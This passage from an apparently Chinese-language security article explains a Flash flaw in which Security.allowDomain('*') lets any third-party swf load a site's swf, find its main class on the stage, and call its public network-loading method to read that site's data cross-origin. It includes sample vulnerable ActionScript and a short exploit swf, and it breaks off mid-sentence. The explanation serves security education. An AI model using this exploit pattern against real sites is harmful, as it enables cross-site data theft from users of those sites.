前言 一直以为该风险早已被重视,但最近无意中发现,仍有不少网站存在该缺陷,其中不乏一些常用的邮箱、社交网站,于是有必要再探讨一遍。
事实上,这本不是什么漏洞,是 Flash 与生俱来的一个正常功能。但由于一些 Web 开发人员了解不够深入,忽视了该特性,从而埋下安全隐患。
原理
这一切还得从经典的授权操作说起:
Security.allowDomain('*')
对于这行代码,或许都不陌生。尽管知道使用 * 是有一定风险的,但想想自己的 Flash 里并没有什么高危操作,把我拿去又能怎样?
显然,这还停留在 XSS 的思维上。Flash 和 JS 通信确实存在 XSS 漏洞,但要找到一个能利用的 swf 文件并不容易:既要读取环境参数,又要回调给 JS,还得确保自动运行。
因此,一些开发人员以为只要不与 JS 通信,就高枕无忧了。同时为了图方便,直接给 swf 授权了 *,省去一大堆信任列表。
事实上,Flash 被网页嵌套仅仅是其中一种而已,更普遍的,则是 swf 之间的嵌套。然而无论何种方式,都是通过 Security.allowDomain 进行授权的 —— 这意味着,一个 * 不仅允许被第三方网页调用,同时还包括了其他任意 swf!
被网页嵌套,或许难以找到利用价值。但被自己的同类嵌套,可用之处就大幅增加了。因为它们都是 Flash,位于同一个运行时里,相互之间存在着密切的关联。
我们如何将这种关联,进行充分利用呢?
利用
关联容器
在 Flash 里,舞台(stage)是这个世界的根基。无论加载多少个 swf,舞台始终只有一个。任何元素(DisplayObject)必须添加到舞台、或其子容器下,才能展示和交互。
因此,不同 swf 创建的元素,都是通过同一个舞台展示的。它们能感知相互的存在,只是受到同源策略的限制,未必能相互操作。
然而,一旦某个 swf 主动开放权限,那么它的元素就不再受到保护,能被任意 swf 访问了!
听起来似乎不是很严重。我创建的界面元素,又有何访问价值?也就获取一些坐标、颜色等信息而已。
偷窥元素的自身属性,或许并没什么意义。但并非所有的元素,都是为了纯粹展示的 —— 有时为了扩展功能,继承了元素类的特征,在此之上实现额外的功能。
最典型的,就是每个 swf 的主类:它们都继承于 Sprite,即使程序里没用到任何界面相关的。
有这样扩展元素存在,我们就可以访问那些额外的功能了。
开始我们的第一个案例。某个 swf 的主类在 Sprite 的基础上,扩展了网络加载的功能:
// vul.swf
public class Vul extends Sprite {
public var urlLoader:URLLoader = new URLLoader();
public function download(url:String) : void {
urlLoader.load(new URLRequest(url));
...
}
public function Vul() {
Security.allowDomain('*');
...
}
...
}
通过第三方 swf,我们将其加载进来。由于 Vul 继承了 Sprite,因此拥有了元素的基因,我们可以从容器中找到它。
同时它也是主类,默认会被添加到 Loader 这个加载容器里。
// exp.swf
var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener('complete', function(e:Event) : void {
var main:* = DisplayObjectContainer(loader).getChildAt(0);
trace(main); // [object Vul]
});
loader.load(new URLRequest('//swf-site/vul.swf'));
因为 Loader 是子 swf 的默认容器,所以其中第一个元素显然就是子 swf 的主类:Vul。
由于 Vul 定义了一个叫 download 的公开方法,并且授权了所有的域名,因此在第三方 exp.swf 里,自然也能调用它:
main.download('//swf-site/data');
同时 Vul 中的 urlLoader 也是一个公开暴露的成员变量,同样可被外部访问到,并对其添加数据接收事件:
var ld:URLLoader = main.urlLoader;
ld.addEventListener('complete', function(e:Event) : void {
trace(ld.data);
});
尽管这个 download 方法是由第三方 exp.swf 发起的,但最终执行 URLLoader 的 load 方法时,上下文位于 vul.swf 里,因此这个请求仍属于 swf-site 的源。
于是攻击者从任意位置,跨站访问 swf-site 下的数据了。
更糟的是,Flash 的跨源请求可通过 crossdomain.xml 来授权。如果